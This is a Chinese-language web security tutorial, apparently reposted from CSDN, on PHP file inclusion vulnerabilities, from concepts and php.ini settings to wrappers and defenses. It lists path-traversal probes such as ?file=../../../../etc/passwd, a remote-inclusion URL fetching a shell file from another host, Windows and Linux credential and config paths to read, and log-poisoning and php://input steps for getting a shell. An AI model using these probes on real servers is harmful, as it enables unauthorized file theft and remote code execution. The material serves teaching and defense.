0


网络安全进阶学习第七课——文件包含漏洞

文章目录


一、文件包含概念

开发人员通常会把可重复使用的函数写到单个文件中,在

使用某些函数

时,

直接调用此文件

,而无需再次编写,这种调用文件的过程一般被称为包含。

为了使代码更加灵活,通常会将被包含的文件设置为

变量

,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

服务器执行PHP文件时

,可以通过文件包含函数加载另一个文件中的PHP代码,并且

当PHP来执行

,这会为开发者节省大量的时间。

举例:假如一个网站有一个栏目(头部导航栏)无论怎样切换,都不会变化的,那么这个网页就很大可能是存在文件包含。

二、文件包含漏洞原理

文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名

没有经过合理的校验

,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

需要特别说明的是,服务器包含文件时,

不管文件后缀是否是php

,都会

尝试当做php文件执行

,如果文件内容确为

规范的PHP代码

,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致 任意文件读取与任意命令执行。


三、文件包含分类

文件包含分为两种:

  • 本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径;例如:192.168.1.111/include.php?url=./shell.txt
  • 远程文件包含:包含互联网上的文件,文件名称为URL格式;例如:192.168.1.111/include.php?url=http://10.10.10.111/shell.txt

而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。


四、与文件包含相关的配置文件:(php.ini文件)

allow_url_fopen

= on (默认开启) #允许打开URL文件,这个无论On或Off,本地文件包含都存在;

allow_url_include

= on (默认关闭) #允许引用URL文件;


五、与文件包含有关的函数

1、include()

当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行

2、include_once()

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

3、require()

使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行

4、require_once()

功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次


六、文件包含常见特征

1、在某个URL或者某个参数里面出现如下特征都可以去尝试

  • ?page=a.php
  • ?home=b.html
  • ?file=content

2、8009端口

如果扫描IP发现开放了8009端口的,就可以尝试CVE20201938的Apache漏洞,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。

3、检测方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

七、本地文件包含漏洞常被利用方法

1、读取Windows系统敏感信息:

C:\boot.ini                                    //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml    //IS配置文件
C:\windows\repair\sam                         //windows初次安装的密码
C:\program Files\mysq|\my.ini                 //Mysq|配置信息
C:\program Files\mysq|\data\mysq|\user.MYD     //Mysql root
C:\windows\php.ini                             //php配置信息

2、读取linux系统敏感信息:

/etc/passwd                             //linux用户信息
/usr/local/app/apache2/conf/httpd.conf     //apache2配置文件
/usr/local/app/php5/lib/php.ini         //php配置文件
/etc/httpd/conf/httpd.conf                 //apache配置文件
/etc/my.cnf                             //Mysq|配置文件

3、文件包含可以配合图片马进行shell获取

4、读取服务器日志和配置文件

1、apache+Linux 日志默认路径
/etc/httpd/logs/access.log
/var/log/httpd/access.log

2、apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

3、IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Lognames

4、IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\Lognames

5、nginx 日志文件
/usr/local/nginx/logs

6、apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd 

7、IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml 

8、IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config

八、远程文件包含

如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen

都开启

的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,

可以直接执行任意命令


九、本地文件包含

远程包含是可以

用来执行命令

的;那么本地文件包含怎么执行命令?
1、包含用户上传的文件;
2、如果没有发现上传点,可以包含日志文件getshell;
3、伪协议包含。


十、包含日志文件getshell

利用前提:

只能

本地文件包含,知道日志的物理存放路径、存在文件包含漏洞

利用条件:

使用burp发送请求,或者curl工具(网页请求会对特殊字符编码)

具体步骤:

1、构造url,访问web服务

目的是,构成错误请求,apache就会将错误的请求写入,错误日志当中 error.log(Apache 一般是在Apache\logs目录下)
在这里插入图片描述

注意

:假如是使用

浏览器

来输入错误请求,浏览器是会把“<”、“>”这两个符号进行URL编码后再存进错误日志的。

2、使用存在文件包含的php访问,进行包含错误日志

在这里插入图片描述

3、写入webshell,构造url进行访问

缺点:

若在日志中,存在一些<?php ?>的php脚本代码,但是语句构造错误无法正常执行,那么构造的正确代码也无法执行。简单说构造的第一个php语句正确,第二个错误,当使用文件包含时,就会报错。同时第一行代码也无法正常运行。


十一、伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、file_exists() 和 filesize() 的文件系统函数。
伪协议Valuefile://访问本地文件系统http://访问 HTTP(s) 网址ftp://访问 FTP(s) URLsphp://访问各个输入/输出流(I/O streams)zlib://压缩流data://数据(RFC 2397)glob://查找匹配的文件路径模式phar://PHP 归档ssh2://Secure Shell 2rar://RARogg://音频流expect://处理交互式的流
除了这些封装协议,还能通过

 stream_wrapper_register()

来注册自定义的封装协议。

1、file:// 可以用于访问本地文件系统

不受allow_url_fopen与allow_ulr_include影响

使用方法:file://

绝对路径

实例:file://C:\Windows\System32\drivers\etc\hosts #必须为绝对路径

2、php:// 访问各个输入/输出流

协议作用php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype=“multipart/form-data” 的时候php://input 是无效的。php://output只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。php://memory、php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php:// 用于访问各个输入/输出流(I/O streams),

常用

的是

php://filter

php://input

,php://filter用于

读取源码

,php://input用于

执行php代码

3、php://filter

不受allow_url_fopen和allow_url_include影响

用于

读取源码

参数详解
参数描述resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。read=<读链的过滤器>该参数可选。可以设定一个或多个过滤器名称,以管道符(write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
可用的过滤器列表(4类)
字符串过滤器作用string.rot13等同于str_rot13(),rot13变换string.toupper等同于strtoupper(),转大写字母string.tolower等同于strtolower(),转小写字母string.strip_tags等同于strip_tags(),去除html、PHP语言标签转换过滤器作用convert.base64-encode & convert.base64-decode等同于base64_encode()和base64_decode(),base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码压缩过滤器作用zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。加密过滤器作用mcrypt.*libmcrypt 对称加密算法mdecrypt.*libmcrypt 对称解密算法

用法:

4、php://input

需开启allow_url_include

用于

执行php代码

,可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。

将原本的include的文件流重定向到了用户可控制的输入流中

举例:

  • 1)在URL输入:127.0.0.1/upload/include.php/?page=php://input
  • 2)BP抓包
  • 3)然后BP重发送时,在下面附上你要执行的PHP代码。
注:

当enctype=”multipart/form-data”时,php://input是无效的。


十二、文件包含漏洞防御

  • 1)allow_url_include和allow_url_fopen关闭;
  • 2)对用户包含的文件进行限制,如白名单、open_basedir;
  • 3)检查用户输入;
  • 4)检查变量是否初始化;
  • 5)关键的过滤在服务器端进行。

标签: web安全 学习

本文转载自: https://blog.csdn.net/p36273/article/details/131907248
版权归原作者 p36273 所有, 如有侵权,请联系我们删除。

“网络安全进阶学习第七课——文件包含漏洞”的评论:

还没有评论